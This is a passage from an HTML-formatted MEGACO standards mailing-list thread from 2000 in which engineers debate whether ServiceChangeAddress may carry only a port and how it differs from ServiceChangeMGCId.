        ServiceChangeAddress</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; Bharat Kaul wrote:</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; Hi Flemming, Brian
        and List,</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;&nbsp;&nbsp; ServiceChangeMGCId
        should be kept for contacting a new</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; MGC or rather</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        establishing new control Session.</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        ServiceChangeAddress is for redirection within a MGC e.g.</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; MG contacts MGC at</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; a default port and based on some policy
        MGC wants to assign</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; MG to a
        specific</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; port, it
        should send ServiceChangeAddress specifying the</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; port.These two</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; semantics seem clear and fair enough.</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; I quite frankly don't understand the need for having port
        as</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; an identifier and</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; then being able to specify another
        port to override it, while</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        keeping the</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; identifier port
        the same.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; Port in MID should be just a tool to
        identify an entity</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; uniquely,
        with one</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; requirement
        that MID for a control session is consistent</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; between two</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt; entities.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; In that case it should be called
        something different than a</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        port, or at least be</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; treated
        as something different.</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; -- Flemming</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; - Bharat</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; -----Original
        Message-----</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; From:
        Flemming Andreasen [<A
        href="mailto:fandreas@CISCO.COM">mailto:fandreas@CISCO.COM</A>]</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; Sent: Tuesday, September 05,
        2000 8:29 AM</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; To:
        MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; &gt; Subject: Re: Supplying only a port on a
        ServiceChangeAddress</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; Let's take a step
        back here and ask ourselves what we are</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; trying to achieve:</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; 1. We have a
        need to identify the entity we wish to</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; communicate with</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        2. We have a need to communicate with that entity.</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt; This is a classical naming issue that doesn't need to</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; become overly</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; complicated. In order to get from the
        name in 1 to the</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; address (or
        route) in</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; 2, you need
        to perform name resolution in the cases where</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; the name itself is</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; not an address. For domain names, this
        name resolution is</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; achieved
        by DNS,</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; for
        IP-addresses, it should normally be a NOP. By having both</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; ServiceChangeMGGId and
        ServiceChangeAddress, you are</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; effectively providing</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; an alternate name resolution mechanism which overrides DNS</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; and allows one</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; IP-address to map to another. We should
        not be doing that,</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; and I
        also note</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; that this was
        probably not the authors' intent, since</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; ServiceChangeAddress</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; &gt; and ServiceChangeMGCId are not both allowed in a
        </FONT><BR><FONT size=2>&gt; single command.</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt; That still leaves open the question of exactly what</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; ServiceChangeAddress</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; then is, and I believe Brian
        answered that earlier with his</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; two proposals.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; In
        a perfect world, I would prefer getting rid of</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; ServiceChangeAddress, but</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; we may be beyond that. Does it make
        sense to allow just a</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; port
        number then ?</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        Considering that we already allow for port in mId, port is</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; part of the name</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; and for the same reasons as we shouldn't
        map one IP-address</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; to
        another, we</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; shouldn't
        map one port to another either IMO. If the MGC</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; (or MG) wants the</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; other party to talk to it on another
        port, it simply sends</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; back
        another</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        ServiceChangeMGCId with that port number in it.</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt; -- Flemming</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; "Rosen, Brian"
        wrote:</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; It depends on what you want to have
        happen.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; If you want the MG, on
        receipt of a reply with a</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        ServiceChangeAddress,</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; to tear down it's current transport connection, create</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; a new one,</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt; and stand by for messages from the MGC, then I
        suppose</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; you would be</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; correct.</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; &gt; &gt; If it was TCP (and I guess SCTP), this is pretty
        weird,</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; because the</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; MG established a full
        duplex connection, but the </FONT><BR><FONT size=2>&gt; next message
        is</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; almost
        certainly from the MGC.&nbsp; The MGC is going to have</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; to watch for</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt; this carefully, and not send messages until the
        new</FONT> <BR><FONT size=2>&gt; &gt; &gt; channel is up.</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; Or, the MGC can just use
        ServiceChangeMid.&nbsp; The MG will</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; respond by</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        tearing down the transport, establishing a new one, </FONT><BR><FONT
        size=2>&gt; and sending</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; a new ServiceChange.&nbsp; The MGC "fires and forgets" -- the
        new</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; ServiceChange,
        at the "new" address, looks like a</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; complete new start.</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        Brian</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; -----Original
        Message-----</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; From:
        Christian Groves</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        To: MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt; Sent: 9/3/00 7:38 PM</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; Subject: Re: Supplying only a port
        on a ServiceChangeAddress</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; G'Day
        Brian and Flemming,</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; I saw that
        the difference between when you use</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; ServiceChangeAddress and</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; &gt; &gt; ServiceChangeMid was that the ServiceChangeAddress
        was</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; used when talking</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; to an already contacted
        physical MGC. The</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        ServiceChangeMid was used to</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; contact a physically seperate MGC. So I don't see
        </FONT><BR><FONT size=2>&gt; the need of</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt; disallowing anything but the port in IP as the
        MGC may</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; have a range
        of</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        addresses.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; Cheers, Christian</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; "Rosen, Brian" wrote:</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; I thought you might say that,
        I've been thinking about it</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; &gt; since I sent the message.</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt; &gt; &gt; Posing the question slightly differently, if
        the</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        ServiceChangeAddress</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; can do what ServiceChangeMid can do, so why have two</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; mechanisms?</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt; &gt; The only difference would be the MGs
        actions.&nbsp; If you used</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; &gt; ServiceChangeAddress,</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; &gt; &gt; &gt; the MG would not send a new ServiceChange
        command to</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; the new
        address.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; If
        you used ServiceChangeMid, it would.&nbsp; The end result</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; would be the</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; same.</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt; &gt; &gt; We can:</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; &gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
        Explicitly disallow ServiceChangeAddress from</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; being used to</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt;
        &gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
        change anything but IP Port when </FONT><BR><FONT size=2>&gt; used with
        IP</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Get rid of one of
        the two of them</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; I favor
        the former, as that is easiest, is most</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; consistent with</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; &gt; history, and makes the most sense to me.&nbsp; I'll
        </FONT><BR><FONT size=2>&gt; note that what</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt; &gt; we call ServiceChangeAddress used to be
        "port".&nbsp; It got</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; changed when we realized "port" wouldn't make </FONT><BR><FONT
        size=2>&gt; sense if it was</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; &gt; not an IP transport.</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; &gt; Brian</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt; -----Original Message-----</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt; From: Flemming Andreasen [<A
        href="mailto:fandreas@cisco.com">mailto:fandreas@cisco.com</A>]</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Sent: Tuesday,
        August 29, 2000 7:37 PM</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; To: Rosen, Brian</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt; Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Subject: Re:
        Supplying only a port on a </FONT><BR><FONT size=2>&gt;
        ServiceChangeAddress</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        "Rosen, Brian" wrote:</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; I think the issue is that you can have the same
        MGC</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; have multiple</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; IP
        addresses.&nbsp; You accept the association, but</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; change the address.</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Say, a pool of
        servers appearing to be one MGC.</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; I'm not sure I fully understand what an
        </FONT><BR><FONT size=2>&gt; association is then.</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; What's the</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        difference/relationship between the association</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; address and the</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt; ServiceChangeMgcId (which may itself
        contain an </FONT><BR><FONT size=2>&gt; address or</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; indirectly</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; refer to a number of
        addresses through DNS) ?</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; -- Flemming</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; Brian</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt; -----Original Message-----</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; From: Flemming
        Andreasen [<A
        href="mailto:fandreas@cisco.com">mailto:fandreas@cisco.com</A>]</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Sent:
        Tuesday, August 29, 2000 6:38 PM</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt; To: Rosen, Brian</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Cc:
        MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Subject: Re: Supplying only a
        port on a</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        ServiceChangeAddress</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; "Rosen, Brian"
        wrote:</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; Suppose all you want to specify in a</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; ServiceChangeAddress</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; is a
        port number</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; that is, the IP address doesn't change, but
        the</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; port does.</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; The ABNF sez:</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt; serviceChangeAddress =</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; ServiceChangeAddressToken EQUAL
        VALUE</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt; This is because it could be IP, ATM, FR,
        MPLS....</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt; The example shows just a port number.</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; Actually, I thought that's all that would be</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; allowed in the</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; case of IP. If</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; not,
        how can it be within the "context of the</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; association</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt; currently being</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; negotiated", and how would
        it then relate to</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        ServiceChangeMgcId</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        ?</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; -- Flemming</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Should
        that be legal?&nbsp; Should you have to</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; specify the IP</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; address</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt; as x.x.x.x:p?</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        Brian</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; --</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; Flemming Andreasen</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Cisco Systems</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        --</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        Flemming Andreasen</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; Cisco Systems</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; --</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; Flemming Andreasen</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; Cisco Systems</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        --</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; Flemming Andreasen</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; Cisco Systems</FONT> <BR><FONT
